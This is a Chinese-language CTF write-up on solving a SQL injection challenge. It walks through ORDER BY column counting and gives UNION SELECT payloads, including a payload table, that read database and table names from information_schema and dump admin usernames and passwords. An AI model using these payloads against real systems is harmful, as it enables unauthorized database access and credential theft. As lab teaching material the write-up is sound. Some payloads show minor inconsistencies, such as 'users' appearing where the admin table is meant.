先审题,题目名字应该是关于SQL注入的
在界面随便点点,发现是POST
进到burp里面看:id=1,id=2。推断可能是根据SQL查询得到的不同界面结果。
例如select * from 表名 where id=1;
在这个点进行sql注入尝试:
首先,判断其是字符型还是数字型
分别输入id=1 id=2-1看返回结果:
返回结果相同,所以是数字型
下一步:
使用order by来试数据表的列数:
?id=1+order+by+4–+
注:
空格的url编码是+,所以数据包中用+代替空格
–+的意思是#,也就是mysql的注释符,这样就可以把原本的代码后面的部分给注释掉,达到我们SQL注入的目的
发现回显没有结果
试试3,试试2,发现2有回显,所以试探出该表有两列
得到列数之后于是下一步:
使用union来试探表名
union特性:当前一个数据的where条件不存在为空的时候,会直接回显第二个语句的结果
因此可以利用union来试探表名,例如:
payload | 用途 |
---|---|
id=200+union+select+1,database()–+ | 显示出当前数据库的名字 |
?id=861’ union select 1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3–+ | 查询(当前数据库下)的所有表名 |
?id=861’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3–+ | 爆破出users表的列名 |
?id=861’ union select 1,(select group_concat(password) from security.users) ,3–+ | 根据列名查询用户名密码等信息 |
所以:
?id=999+union+select+1,database()–+
得到数据库名是news,于是接着查news数据库的所有表名:
?id=999+union+select+1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))–+
查admin表的列名:
?id=999+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=‘users’)–+
看到了username和password
所以查询:
?id=999+union+select+1,(select+username+from+admin)–+
得到用户名是admin
接着查密码:
?id=999+union+select+1,(select+password+from+admin)–+
输入用户名密码试试:
没有结果,考虑一下MD5解密,解不了
再试一次,发现原来是之前粘贴少了一个字母,成功拿到flag